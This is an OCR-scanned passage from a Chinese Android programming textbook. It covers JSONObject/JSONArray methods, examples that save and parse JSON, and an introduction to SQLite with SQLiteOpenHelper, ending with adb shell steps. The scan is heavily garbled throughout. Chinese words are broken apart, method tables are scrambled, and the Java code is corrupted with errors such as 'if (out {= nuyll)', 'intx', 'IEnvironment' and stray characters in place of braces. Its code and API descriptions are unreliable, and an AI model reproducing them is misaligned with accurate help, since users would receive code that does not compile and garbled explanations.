21 |public JSONObject put(String name, boolean value) 在 指定 位 置 增加 boolean 型 数据 
22 |public JSONObject put(String name, double value) 在 指定 位 置 增加 double 型 数据 
23 |public Object remove(String name 删除 指定 名 称 的 数据 

表 8-12 JSONArray 类 的 常用 方法 
No. 方 ” 法 描述 
1_|publicJSONArray0 创建 一 个 没有 值 的 JSONArray 对 象 
2 |public JSONArray(Collection copyFrom) 人 
通过 JSONTokener 创建 JSONArray 

3 |public JSONArray(JSONTokener readFrom) 构造 对 象 
4_|publicJSONArray(String json 从 字符 串 中 创建 JSONAmray 对 象 
5_ |public Object get(int index) 返回 指定 位 置 的 对 象 
6_|public boolean getBoolean(int index) 指定 位 置 的 boolean 型 数据 
7_ |public double getDouble(int index) 可 指定 位 置 的 double 型 数据 
8_|public int getInt(int index) 指定 位 置 的 int 型 数据 
9 |public JSONArray getJSONArray(int index) 指定 位 置 的 JSONArray 型 数据 
10 |public JSONObject getJSONObject(int index 指定 位 置 的 JSONObject 型 数据 
11 |public long getLong(int index, 指定 位 置 的 long 型 数据 
12 |public String getString(int index, 指定 位 置 的 String 型 数据 
13 |public boolean isNull(int index) 普通 “| 判断 是 否 有 数据 
14 |public String join(String separator) 普通 “| 增加 分 隔 符 
15 |public int lengthO 普 ii 保存 的 数据 长 度 
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No. 方 法 描述 

16 |public JSONArray put(Object value 保存 一 个 对 象 

17 |public JSONArray put(int index, int value) 在 指定 位 置 保存 一 个 int 型 数据 

18 |public JSONArray put(int index, boolean value) 在 指定 位 置 保存 一 个 boolean 型 数据 
19 |public JSONArray put(int index, long value) 在 指定 位 置 保存 一 个 long 型 数据 
20 |public JSONArray put(int index, Object value) 在 指定 位 置 保存 一 个 Object 型 数据 
21 |public JSONArray put(int index, double value) 在 指定 位 置 保存 一 个 double 型 数据 
22 |public JSONArray put(boolean value) 保存 boolean 型 数据 

23 |public JSONArray put(int value) 保存 int 型 数据 

24 |public JSONArray put(long value 保存 long 型 数据 

25 |public JSONArray put(double value 普通 “| 保存 double 型 数据 

26 | public JSONObject toJSONObject(JSONAmay names 将 JSONArray 变 为 JSONObject 
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【 例 8-31】 输出 JSON 文件 格式 到 文件 
package org.Ixh.demo; 
import java.io.File; 
import java.io.FileOutputStream; 
import java.io.PrintStream; 
import orgjson.JSONArray; 
import org.json.JSONException; 
import org.json.JSONObject; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Environment'; 
public class MyJSONDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
String data[] = { "www.mldnjava.cn", "lixinghua", "bbs.mldn.cn" }; // 默 认 的 信息 


JSONObject allData = new JSONObject(); // 先 建立 最 外 面 的 allData 对 象 
JSONArray sing = new JSONArray(); /定义 新 的 JSONArray 对 象 
for (intx = 0; x < data.length; x++) { 
JSONObject temp = new JSONObject(); // 创 建 一 个 新 的 JSONObject 
try{ 
temp.put("myurl", data[x]); // 设 置 要 保存 的 数据 
} catch (JSONException e){ 
e.printStackTrace(); 
} 
sing.put(temp); // 保 存 一 个 信息 
} 
try{ 
allData.put("urldata", sing); // 保 存 所 有 的 数据 


} catch (JSONException e) { 
e.printStackTrace(); 


} 
if(!IEnvironment.getExternalStorageState().equals( 
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Environment.MEDIA_MOUNTED)Y{ // 如 果 sdcard 不 存在 
return ; // 返 回 被 调用 处 
} 
File file = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 
+ "mldndata" + File.separator + "json .txt") ; // 定 义 File 类 对 象 


if (! file.getParentFile().exists()) { // 父 文件 夹 不 存在 
file.getParentFile().mkdirs() ; // 创 建文 件 夹 
} 
PrintStream out = null ; // 打 印 流 
try{ 
out = new PrintStream(new FileOutputStream(file)); /实例 化 打印 流 对 象 
out.print(allData toString()) ; // 输 出 数据 
} catch (Exception e){ 
e.printStackTrace() ; 
}finally { 
if (out {= nuyll) { 
out.close() ; // 关 闭 打印 流 
b 
1 


1 

} 

【 例 8-32】 修改 AndroidManifest.xml 文件 ， 定 义 sdcard 操作 权限 

<Uses-permission android:name="android.permission. WRITE_EXTERNAL_STORAGE" /> 

本 程序 使 用 JSONObject 和 JSONArray 类 进行 了 操作 ， 在 一 个 JSONArray 中 保存 了 多 个 数 
据 ( 每 个 数据 使 用 JSONObject 封装 ) ， 而 最 后 一 起 将 这 多 个 数据 保存 在 JSONObject 中 ， 程 序 
输出 后 的 文件 内 容 如 图 8-21 所 示 。 
记事 本 =Io|xl 
护 加 (E) 格式 (O) 查看 (帮助 


1da myu -nldnjava.cn™}, “nyurl":"1ixinghua™}, 
《murl":bbs-mldn.cn")]》 


区 地 


图 8-21 保存 后 的 JSON 数据 


为 了 帮助 读者 更 好 地 理解 JSON 数据 的 保存 格式 ， 下 面 进行 具体 说 明 。 
{ /1/JSONObject 数据 都 是 使 用 “分 ” 包 庄 的 
"urldata" /SONObject 按照 key/value 的 形式 保存 ， 所 以 此 处 为 保存 的 key 
: //key 和 value 之 间 数 据 的 分 隔 符 
[ // 一 个 key 下 有 多 个 value， 所 以 使 用 “[” 包 应 ， 即 JSONArray 
{ "myurl" /SONArray 中 保存 的 JSONObject 中 的 key 
: //key 和 value 的 分 隔 符 
"www.mldnjava.cn"}, /IJSONArray 中 保存 的 JSONObject 中 的 key 
{ "myurl":"lixinghua")}, // 一 个 JSONObject 对 象 
{ "myurl""bbs.mldn.cn" ”// 一 个 JSONObject 对 象 
了 
通过 以 上 说 明 可 以 清楚 ，JSONArray 和 JSONObject 之 间 的 关系 可 以 进行 嵌 套 表示 ， 所 以 在 
实际 使 用 中 ，JSON 会 根据 这 两 个 类 的 关系 排列 数据 。 
完成 了 基本 的 操作 之 后 ， 下 面 再 来 看 一 个 稍 复杂 的 程序 范例 。 本 程序 要 求 保存 每 一 个 成 员 
的 基本 信息 ， 包 括 姓名 、 年 龄 、 是 否 已 婚 、 工 资 、 生 日 等 ， 而 除了 保存 这 些 信 息 之 外 ， 还 要 求 
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保存 一 个 所 在 公司 的 提示 信息 ， 保 存 结构 如 图 8-22 所 示 。 
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TT" jsoNobjecr 
| compary [ ”北京 麻 东 科技 | 
address “| 北京 市 西城 区 美 江 大 厦 6 层 ] 。 JSONObject 


| telephone 010-51283346 | name name 对 应 的 数据 


二 二 二 二 二 二 二 二 二 二 二 一 age age 对 应 的 数据 


“|| persondata JSONObject married marrisd 对 应 的 数据 
| | salary salany 对 应 的 数据 
。 birthday birthday 对 应 的 数据 


name “| name 对 应 的 数据 


日 age age 对 应 的 数据 

| | JSONObject | married married 对 应 的 数据 
入 . salary salary 对 应 的 数据 
LC. me | birthday birthday 对 应 的 数据 


图 8-22 保存 的 数据 格式 


通过 图 8-22 可 以 发 现 ， 本 次 操作 保存 的 数据 内 容 如 下 : 
-个 外 部 的 JSONObject( 要 保存 多 个 字符 串 信息 ， 包 括 name、address、telephone) 和 
-个 JSONArray 对 象 。 
-个 JSONArray 对 象 中 ， 要 保存 多 个 JSONObject 对 象 。 
每 一 个 保存 在 JSONArray 对 象 中 的 JSONObject 对 象 都 要 保存 多 种 数据 类 型 (int、 
boolean 等 ) 。 
【 例 8-33】 定义 Activity 程序 保存 JSON 数据 
package org.Ixh.demo; 
import java.io.File; 
import java.io.FileOutputStream; 
import java.io.PrintStream; 
import java.util.Date; 
import orgjson.JSONArray; 
import org.json.JSONException; 
import org.json.JSONObject; 
import android.app.Activity; 
import android.os.Bundle; 
import android.os.Environment'; 
public class MyJSONDemo extends Activity { 
private String nameData[] = new String[] { "李兴华 ", " 魔 乐 科技 ", "MLDN" }; /姓名 数据 


区 时 | 


private int ageDatal] = new intl { 30, 5, 7 }; /年龄 数据 
private boolean isMarraiedData[] = new boolean[] { false, true, false }; // 婚 否 数据 
private double salaryDatal] = new double[] { 3000.0, 5000.0, 9000.0 }; /工资 数据 
private Date birthdayData[] = new Date[] { new Date(), new Date(), 

new Date() }; // 生 日 数据 
private String companyName = "北京 魔 乐 科技 软件 学 院 (MLDN 软件 实 训 中 心 ) " /公司 名 称 
private String companyAddr = "北京 市 西城 区 美 江 大 厦 6 层 " ; /公司 地 址 
private String companyTel = "010-51283346" ; /公司 电话 
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@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
JSONObject allData = new JSONObject(); 
JSONArray sing = new JSONArray(); 
for (int x = 0; x < this.nameData.length; x++){ 
JSONObject temp = new JSONObject(); 
try{ 
temp.put("name", this.nameData[x]); 
temp.put("age", this.ageData[x]); 
temp.put("married", this.isMarraiedData[x]); 
temp.put("salary", this.salaryData[x]); 
temp.put("birthday", this.birthdayData[x]); 
}catch (JSONException e) { 
e.printStackTrace(); 
} 
sing.put(temp); 
} 
try{ 
allData.put("persondata", sing); 
allData.put("company", this.companyName); 
allData.put("address", this.companyAddn); 
allData.put("telephone", this.companyTel); 
} catch (JSONException e) { 
e.printStackTrace(); 
} 
if(IlEnvironment.getExternalStorageState().equals( 
Environment.MEDIA_MOUNTED)YX{ 
return ; 
} 
File file = new File(Environment 
.getExternalStorageDirectory().toString() 
+ File.separator 
+ "mldndata" + File.separator + "json.txt") ; 
if (! file.getParentFile().exists()) { 
file.getParentFile().mkdirs() ; 
b 


PrintStream out = null ; 
try{ 


// 先 建立 最 外 面 的 allData 对 象 
/定义 新 的 JSONArray 对 象 


// 创 建 一 个 新 的 JSONObject 


/设置 要 保存 的 数据 
/设置 要 保存 的 数据 
/设置 要 保存 的 数据 
/设置 要 保存 的 数据 
/设置 要 保存 的 数据 


/保存 一 组 信息 


/保存 所 有 的 数据 
/保存 数据 
/保存 数据 
/保存 数据 


/如果 sdcard 不 存在 
/返回 被 调用 处 


/定义 File 类 对 象 
// 父 文件 夹 不 存在 
// 创 建文 件 夹 


// 打 印 流 


out = new PrintStream(new FileOutputStream(file)); // 实 例 化 打印 流 对 象 


out.print(allData.toString()) ; 
} catch (Exception e){ 
e.printStackTrace() ; 
}finally { 
if (out {= null) { 
out.close() ; 


| 


// 输 出 数据 


/关闭 打印 流 


名 师 讲坛 一 一 Android 开发 实战 经 典 


【 例 8-34】 修改 AndroidManifest.xml 文件 ， 定 义 sdcard 操作 权限 
<Uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 
本 程序 按照 图 8-22 的 要 求 ,设置 了 数据 间 的 保存 关系 , 而 后 通过 文件 流 输出 , 生成 后 的 JSON 
文档 如 图 8-23 所 示 。 


ly 


telephone™ 8 大 到 
2[ 7 1249:19 格林 尼 冶 标准 时 间 


ane™ :HLDN"》] ,"conpany”: 


12011","salary" :9880, "narried" :false, "age™ :7,°n: 
“北京 魔 乐 科技 软件 学 院 〔MLok 软 件 实 训 中 心 )“》 


四 图 8-23 ”生成 后 的 JSON 数据 文档 
了 提示 
不 一 定 非 要 使 用 JSON 工具 。 
清楚 了 以 上 的 数据 保存 格式 之 后 ， 一 定 要 记 住 ， 这 样 的 数据 输出 不 一 定 非 要 使 用 JSON 
工具 类 进行 ， 使 用 字符 囊 也 是 可 以 进行 拼凑 的 ， 更 多 关于 JSON 的 信息 可 以 登录 http://www. 
json.org/ 站 点 查询 。 


以 上 程序 为 读者 演示 了 JSON 格式 数据 的 生成 过 程 , 而 生成 后 的 JSON 数据 也 同样 需要 使 用 
JSON 工具 进行 解析 ， 下 面 演示 几 个 JSON 数据 解析 的 操作 。 


提示 

以 下 程序 直接 给 出 JSON 数据 。 

考虑 到 本 书 篇 幅 的 问题 ， 以 下 讲解 JSON 解析 操作 时 ， 将 直接 采用 字符 串 按照 JSON 的 
格式 定义 内 容 ， 读 者 不 需要 关心 其 生成 ， 主 要 是 清楚 解析 的 流程 即 可 。 


【 例 8-35】 定义 布局 管理 器 ， 显 示 解 析 后 的 数据 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/msg” /| 组件 iD， 程序 中 使 用 

android:layout_width="fill_parent” 1/ 组件 宽度 为 屏幕 宽度 

android:layout_height="wrap_content"/> 1/ 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


【 例 8-36】 解析 数组 格式 的 JSON 数据 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.HashMap; 
import java_.util.lterator 
import java.util.List; 
import java.util.Map; 
import org.json.JSONArray; 
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import org.json.JSONObject; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.TextView; 
public class MyJSONDemo extends Activity { 
private TextView msg = null; /文本 显示 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.msg = (TextView) super.findViewByld(R.id.msg); /取得 组 件 
String str = "[f\"id\":1,\'name\":\" 李 兴 华 \",\"age\":30}," 
+ "{\"id\":2,\'name\":\“MLDN\",\"age\":10}]"; // 定 义 JSON 数据 
StringBuffer buf = new StringBuffer(); /保存 数据 
try{ 
List<Map<String, Object>> all = this.parseJson(str); /解析 JSON 文本 
lterator<Map<String, Object>> iter = all.iterator(); 。 // 实 例 化 lterator 
while (iter.hasNext()) { 1/ 迭代 输出 
Map<String, Object> map = iter.next(); // 取 出 每 一 个 保存 的 数据 
buf.append("ID: "+ map.get("id") + "， 姓 名 : "+ map.get("name") 
+ "， 年 龄 : "+ map.get("age") + "\n"); /保存 内 容 
} 
} catch (Exception e) { 
e.printStackTrace(); 
1 
this.msg.setText(buf); // 设 置 显示 文字 
} 
public List<Map<String, Object>> parseJson(String data) throws Exception { 
List<Map<String, Object>> all = new ArrayList<Map<String, Object>>(); 
JSONArray jsonArr = new JSONArray(data); /定义 JSON 数组 
for (int x = 0; x < jsonArr.length(); x++) { // 取 出 数组 中 的 JSONObject 
Map<String, Object> map = new HashMap<String, Object>(); // 保 存 信息 
JSONObject jsonObj = jsonArr.getJSONObject(x); /取得 每 一 个 JSONObject 


map.put("id", jsonObj.getInt("id")); /取出 并 保存 ID 内 容 
map.put("name", jsonObj.getString("name")); // 取 出 并 保存 name 内 容 
map.put("age", jsonObj.getInt("age")); // 取 出 并 保存 age 内 容 
all.add(map); // 向 集合 中 保存 
} 
return all; // 返 回 全 部 记录 
} 
} 
本 程序 直接 使 用 字符 串 定义 了 要 输出 的 数据 ， 由 于 数据 是 以 “[]” 包 于 的 数组 数据 ， 所 以 直 
接 放 到 了 JSONArray 类 的 构造 方法 中 , 之 后 利用 循环 后 下 后 


的 方式 取出 里 面 保存 的 每 一 个 JSONObject 数据 ， 而 
所 有 的 数据 最 终 都 被 保存 在 List 集合 中 , 返回 后 采用 
迭代 输出 取出 每 一 个 数据 并 在 文本 显示 组 件 上 显示 ， 
程序 的 运行 效果 如 图 8-24 所 示 。 图 8-24 解析 JSON 数据 
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何 进 
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本 程序 直接 解析 了 一 个 JSON 的 数组 数据 ， 下 面 再 定义 另外 一 个 JSON 文本 , 为 用 户 演示 如 


行 解析 。 

package org.Ixh.demo; 

import java.util.ArrayList; 
import java.util.HashMap; 
import java.util.Iterator; 

import java.util.List; 

import java.util.Map; 

import org.json.JSONArray; 
import org.json.JSONObject; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget. TextView; 
public class MyJSONDemo extends Activity { 


private TextView msg = null; // 文 本 显示 组 件 
@SuppressWarnings("unchecked") 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.msg = (TextView) super.findViewByld(R.id.msg); // 取 得 组 件 
String str = "人 memberdata\ :” 
+ "[fid\ 1\nameN'\ 李兴华 \\age\" :30}" 
+ "{\"id\":2,\"'name\":\“"MLDN\",\"age\":10}],”" 
+ "company\":\" 北 京 魔 乐 科技 软件 学 院 \"}"; 1/ 解析 数据 
StringBuffer buf = new StringBuffer(); /保存 数据 
try{ 
Map<String,Object> result = this.parseJson(str) ; /JWSON 解析 
buf.append(" 公 司 名 称 :" + result.get("company") + "\n") ; /取出 信息 
List<Map<String, Object>> all = (List<Map<String, Object>>) result 
.get("memberdata"); // 取 出 数据 
lterator<Map<String, Object>> iter = all.iterator(); /实例 化 lterator 
While (iterhasNext()){ // 和 迭代 输出 
Map<String, Object> map = iter.next(); // 取 出 每 一 个 保存 的 数据 
buf.append("ID: "+ map.get("id") + "， 姓 名 : "+ map.get("name") 
+ "， 年 龄 : "+ map.get("age") + "\n"); 。 // 保 存 内 容 
| 
} catch (Exception e){ 
e.printStackTrace(); 
} 
this.msg.setText(buf); /设置 显示 文字 


} 


public Map<String,Object> parseJson(String data) throws Exception { 
Map<String, Object> allMap = new HashMap<String, Object>(); 


JSONObject allData = new JSONObject(data) ; 
allMap.put("company", allData.getString("company")) ; 


// 定 义 JSONObject 
/取出 并 设置 company 


JSONArray jsonArr = allData.getJSONArray("memberdata") ; // 取 出 JSONArray 
List<Map<String, Object>> all = new ArrayList<Map<String, Object>>(); 
for (int x = 0; x < jsonArr.length(); x++) { // 取 出 数组 中 的 每 一 个 JSONObject 
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Map<String, Object> map = new HashMap<String, Object>(); // 保 存 每 一 组 信息 
JSONObject jsonObj = jsonArr.getJSONObiject(x); /取得 每 一 个 JSONObject 


map.put("id", jsonObj.getInt("id")); // 取 出 并 保存 ID 内 容 
map.put("name", jsonObj.getString("name")); // 取 出 并 保存 name 内 容 
map.put("age", jsonObj.getlnt("age")); // 取 出 并 保存 age 内 容 
all.add(map); /向 集合 中 保存 

1 

allMap.put("memberdata", all) ; /保存 集合 

return allMap; // 返 回 全 部 记录 


} 


} 
本 程序 定义 的 JSON 数据 格式 中 ,除了 数组 之 外 ， 
还 有 一 个 普通 的 文本 数据 ， 所 以 在 进行 解析 之 前 首先 


实例 化 JSONObject 类 的 对 象 ,之 后 再 通过 JSONObject 基 吕 | 徐 11:55 
JSON 数 据 解析 


取出 了 里 面 保存 的 数组 数据 ， 并 将 数据 设置 到 了 
TextView 中 显示 ， 程 序 的 运行 效果 如 图 8-25 所 示 。 

通过 以 上 几 个 程序 ， 相 信 读 者 已 经 清楚 了 JSON 
数据 的 存储 和 解析 操作 ， 在 实际 开发 中 ， 有 可 能 会 利 
用 JSON 传递 更 加 复杂 的 数据 ,而 在 进行 解析 时 ， 只 要 根据 给 出 的 格式 仔细 分 析 , 就 可 以 正确 地 
取出 所 需要 的 数据 。 


图 8-25 JSON 解析 


8.3 SQLite 数据 库存 储 


SQLite 是 一 个 轻 量 级 的 、 嵌 入 式 的 关系 型 数据 库 ， 它 遵守 ACID 的 关联 式 数据 库 管 理 系统 ， 
是 主要 针对 于 嵌入 式 设 备 专门 设计 的 数据 库 ， 由 于 其 本 身 占 用 的 存储 空间 较 小 ， 所 以 目前 已 经 
在 Android 操作 系统 中 广泛 使 用 , 而 且 在 SQLite 数据 库 中 可 以 方便 地 使 用 SQL 语句 实现 数据 的 
增加 、 修 改 、 删 除 、 查 询 、 事 务 控制 等 操作 ， 最 新 版 本 的 SQLite 数据 库 为 SQLite 3。 

在 Android 系统 中 , 如 果 要 进行 SQLite 数据 库 的 操作 则 主要 使 用 表 8-13 中 所 示 的 类 和 接口 。 


表 8-13 ”Android 中 数据 库 操作 核心 类 及 接口 


No. 类 或 接口 描 ” 述 
android.database.sqlite. SQLiteDatabase 完成 数据 的 CRUD 操作 及 事务 处 理 


i id. 

2 定义 数据 库 的 创建 及 更 新 操作 类 
3 保存 所 有 的 查询 结果 

4 对 传递 的 数值 进行 封装 


8.3.1 数据 库 操作 类 : SQLiteDatabase 


在 Android 系统 中 ， 每 一 个 android.database.sqlite.SQLiteDatabase 类 的 实例 都 代表 了 一 个 
SQLite 数据 库 的 操作 ， 通 过 SQLiteDatabase 类 可 以 执行 SQL 语句 ， 以 完成 对 数据 表 的 增加 、 修 
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改 、 删 除 、 查 询 等 常见 操作 ， 或 者 进行 数据 库 的 事务 处 


EE， 在 此 类 中 定义 了 基本 的 数据 库 执行 


SQL 语句 的 操作 方法 以 及 一 些 操作 的 模式 常量 ， 这 些 方法 及 常量 如 表 8-14 所 示 。 


es 


-提示 
关于 SQL 语句 。 


本 部 分 将 使 用 SQL 语句 进行 数据 的 操作 ， 对 SQL 语句 不 熟悉 的 读者 ， 可 以 参考 《名 师 
讲坛 一 一 Oracle 开发 实战 经 典 》 以 及 《名 师 讲 坛 一 一 Java 开发 实战 经 典 》 中 的 相应 内 容 。 | 


表 8-14 SQLiteDatabase 类 定义 的 常用 操作 方法 


描述 
public static final int OPEN READONLY 以 只 读 方式 打开 数据 库 
public static final int OPEN_ READWRITE 以 读 / 写 方式 打开 数据 库 


public static final int CREATE IF NECESSARY 


4 |public static final int NO_LOCALIZED COLLATORS 


:i public void beginTransaction0) 
6_ |public void endTransaction! 


7 |public void setTransactionSuccessful0 


8 
9 
public static SQLiteDatabase openDatabase(String path, 
SQLiteDatabase.CursorFactory factory, int flags) 


; 
(File file, SQLiteDatabase.CursorFactory factory) 

; 
String path, SQLiteDatabase.CursorFactory facto 

public long insert(String table, String nullColumnHack, 

ContentValues values) 


public long insertOrThrow(String table, String 
nullColumnHack, ContentValues values) 


如 果 指 定 的 数据 库 文件 不 存在 ， 则 
创建 新 的 

打开 数据 库 时 ， 不 对 数据 进行 基于 
本 地 化 语言 的 排序 

开始 事务 

结束 事务 ， 提 交 或 回 深 数 据 

如 果 执 行 则 提交 数据 ， 不 执行 则 回 
滚 数据 

执行 SQL 语句 

执行 SQL 语句 ， 同 时 绑 定 参数 

以 指定 的 模式 打开 指定 路 径 下 的 
数据 库 文件 

打开 或 创建 一 个 指定 路 径 下 的 数 
据 库 

打开 或 创建 一 个 指定 路 径 下 的 数 
据 库 

插入 数据 ， 其 中 table 为 表 名 称 ; 
nullColumnHack 表示 传 入 的 列 名 
称 ;_values 表示 所 有 要 插入 的 数据 
插入 数据 , 但 会 抛 出 SQLException 


public int update(String table, ContentValues values, 
String whereClause, String[] whereArgs) 


修改 数据 ， 其 中 table 为 表 名 称 ; 

values 为 更 新 数据 ，whereCluause 
指明 WHERE 子 句 ，whereArgs 为 
WHERE 子 句 参数 ， 用 于 替换 “2?” 


public int delete(String table, String whereClause, 
String[] whereArgs) 


删除 数据 ， 其 中 table 为 表 名 称 ; 
whereClause 指明 WHERE 子 句 ; 
whereArgs 为 参数 ， 用 于 替换 “?” 


17 |public boolean isOpenO 


18 |public void setVersion(int version) 
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方法 或 常量 


public Cursor query (boolean distinct, String table, 
String[] columns, String selection, String[] selectionArgs, 
String groupBy, String having, String orderBy, String 
limit) 


续 表 
描 述 

执行 数据 表 查 询 操 作 ， 其 中 的 参 
数 有 distinct (是否 去 掉 重 复 行 )、 
table ( 表 名 称 ) 、columns ( 列 名 
称 ) 、selection (WHERE 子 句 ) 、 
selectionArgs (WHERE 条 件 ) 、 
groupBy (分 组 ) 、having (分 组 过 
滤 )、orderBy (排序 )、limit (LIMIT 
子 句 ) 


public Cursor query(String table, String[] columns, 
String selection, String[] selectionArgs, String groupBy, 
String having, String orderB: 


执行 数据 表 查 询 操作 


执行 指定 的 SQL 查询 语句 


public Cursor rawQuery(String sql, String{] selectionArgs) 
public void close0) 


关闭 数据 库 


在 Android 操作 系统 上 进行 开发 时 , 用 户 一 般 不 用 创建 SQLiteDatabase 类 对 象 , 往往 会 由 一 


个 辅助 的 工具 类 SQLiteOpenHelper 进行 操作 的 管理 。 


8.3.2 数据库 操 作 辅助 类 : SQLiteOpenHelper 


SQLiteDatabase 类 本 身 只 是 一 个 数据 库 的 操作 类 ， 但 是 如 果 要 想 进行 数据 库 的 操作 ， 还 需要 
android. database.sqlite.SQLiteOpenHelper 类 的 帮助 ,此 类 的 方法 如 表 8-15 所 示 。 但 是 ,SQLiteOpenHelper 
类 是 一 个 抽象 类 ， 所 以 使 用 时 需要 定义 其 子 类 ， 并 且 在 子 类 中 歼 写 相应 的 抽象 方法 。 


表 8-15 SQLiteOpenHelper 类 定义 的 方法 


public SQLiteOpenHelper(Context context, String name, 
SQLiteDatabase.CursorFactory factory. i 


描述 

通过 此 构造 方法 指明 要 操作 的 
数据 库 的 名 称 以 及 版 本 编号 
关闭 数据 库 


以 只 读 的 方式 创建 或 者 打开 
数据 库 
以 修改 的 方式 创建 或 者 打开 
数据 库 


public abstract void onCreate(SQLiteDatabase db 创建 数据 表 
public void onOpen(SQLiteDatabase db) 打开 数据 表 
public abstract void onUpgrade(SQLiteDatabase db, int 更 新 数据 表 


oldVersion, int newVersion) 


从 表 8-15 中 可 以 发 现 ， 在 SQLiteOpenHelper 类 中 定义 了 3 个 回调 方法 ， 这 3 个 方法 的 作用 


如 下 。 


onCreate0: 在 第 一 次 使 用 数据 库 时 会 调用 此 方法 生成 相应 的 数据 库 表 ， 但 是 此 方法 并 不 是 
在 实例 化 SQLiteOpenHelper 类 的 对 象 时 调用 ， 而 是 通过 对 象 调用 了 getReadableDatabaseO 


或 getWritableDatabase() 方 法 时 才 会 调用 。 
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onUpgrade(): 当 数 据 库 需 要 进行 升级 时 会 调用 此 方法 ， 一 般 可 以 在 此 方法 中 将 数据 表 
删除 ， 并 且 在 删除 表 之 后 往往 会 调用 onCreate0 方 法 重新 创建 新 的 数据 表 。 
onopen(): 当 数 据 库 打开 时 会 调用 此 方法 ， 但 是 一 般 情况 下 用 户 不 需要 和 获 写 此 方法 。 
【 例 8-37】 定义 SQLiteOpenHelper 的 子 类 一 一 MyDatabaseHelper.java 
package org.Ixh.demo; 
import android.content.Context; 
import android.database.sqlite.SQLiteDatabase; 
import android.database.sqlite.SQLiteOpenHelper 
public class MyDatabaseHelper extends SQLiteOpenHelper { /| 继承 SQLiteOpenHelper 类 
private static final String DATABASENAME = "mldn.db" ; /数据 库 名 称 


private static final int DATABASEVERSION= 1; /数据 库 版 本 
private static final String TABLENAME = "mytab" ; /数据 表 名 称 
public MyDatabaseHelper(Context context) { /定义 构造 
super(context, DATABASENAME, null DATABASEVERSION); /调用 父 类 构造 
@Override 
public void onCreate(SQLiteDatabase db) { // 创 建 数据 表 
String sql = "CREATE TABLE "+ TABLENAME + " ("+ 
"id INTEGER PRIMARY KEY ,+ 
"name VARCHAR(50) NOTNULL,"+ 
"birthday DATE NOT NULL)"; /SQL 语句 
db.execSQL(sql) ; /执行 SQL 语句 
} 
@Override 


public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { 
String sql = "DROP TABLE IF EXISTS " + TABLENAME ; JWSQL 语句 
db.execSQL(sql); /执行 SQL 语句 
this.onCreate(db); 1/ 创建 表 
} 
} 
本 程序 直接 继承 了 SQLiteOpenHelper 类 , 并 且 歼 写 了 里 面 的 onCreate() 和 onUpgrade() 方 法 ， 
其 中 ，onCreate() 方 法 负责 表 的 创建 而 onUpgrade() 方 法 负责 表 的 删除 ， 并 且 在 删除 之 后 重新 创 
建 数据 表 。 


f 
7 


关于 SQLite 数据 库 中 自动 增长 列 的 使 用 。 
在 SQLite 数据 库 中 ， 如 果 要 将 表 的 某 个 字段 设置 为 自动 增长 列 ， 则 创建 表 字段 时 使 用 
INTEGER PRIMARY KEY 声明 即 可 。 


【 例 8-38】 定义 Activity 程序 ， 以 调用 MyDatabaseHelper 类 完成 表 的 创建 
package org.Ixh.demo; 
import android.app.Activity; 
import android.database.sqlite. SQLiteOpenHelper; 
import android.os.Bundle; 
public class MySQLiteDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
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super.setContentView(R.layout.main); /默认 布局 管理 器 
SQLiteOpenHelper helper = new MyDatabaseHelper(this) ; /定义 数据 库 辅助 类 
helper.getWritableDatabase() ; /以 修改 方式 打开 数据 库 


} 


} 

在 MyDatabaseHelper 类 中 的 回调 方法 onCreate0 只 有 在 使 用 了 SQLiteOpenHelper 类 中 的 
getReadableDatabase() 方 法 之 后 才 会 自动 执行 ， 而 本 程序 运行 之 后 将 在 DDMS 中 的 data\data\org. 
lxh.demo\databases (其 中 org.lxh.demo 为 程序 的 包 名称 ， 编 写 程序 时 会 根据 实际 情况 有 所 不 同 ) 
下 生成 创建 的 mldn.db 数据 库 ， 如 图 8-26 所 示 。 


EB org,bh 2011-01-17 05:17 drwxr-x--x 
日 EB org.kh.demo 2011-02-14 08:29 drwxr-x--x 
日 BB databases 2011-02-14 08:29 drwxrwx--x 

屿 mldn.db 5120 2011-02-14 08:29 -rw-rw--— 
HB fes 2011-01-13 11;05 drwxrwx--x 
马 由 b 2010-09-07 10:19 drwxr-xr-x 
蕊 shared_prefs 2011-01-11 11:00 drwxrwx--x 


图 8-26 mldn.db 的 存储 路 径 


8.3.3 使 用 SQLite 数据 库 并 完成 更 新 操作 


当 mldn.db 数据 库 创建 完成 之 后 ， 可 以 通过 adb.exe 命令 直接 采用 命令 行 的 方式 进入 到 数据 
库 并 进行 操作 ， 有 具体 步骤 介绍 如 下 。 


意 
必须 首先 启动 虚拟 机 。 
要 想 进 入 到 以 下 的 程序 操作 ， 必 须 保证 虚拟 设备 处 于 打开 状态 ， 否 则 将 无 法 进入 到 shell 
操作 数据 库 。 | 


(1) 在 命令 行 方式 下 输入 adb shell， 进 入 shell 命令 行 方式 ， 如 图 8-27 所 示 。 


CWwINDOWS\system32\cmd.ene ~ adb shell 
:Yadb shell 


图 8-27 进入 shell 命 令 行 


(2) 通过 cd 命令 ， 进 入 mldn.db 所 在 的 路 径 : data\data\org.lxh.demo\databases。 
(3) 通过 ls 命令 ， 查 找 路 径 下 的 内 容 ， 如 图 8-28 所 示 。 
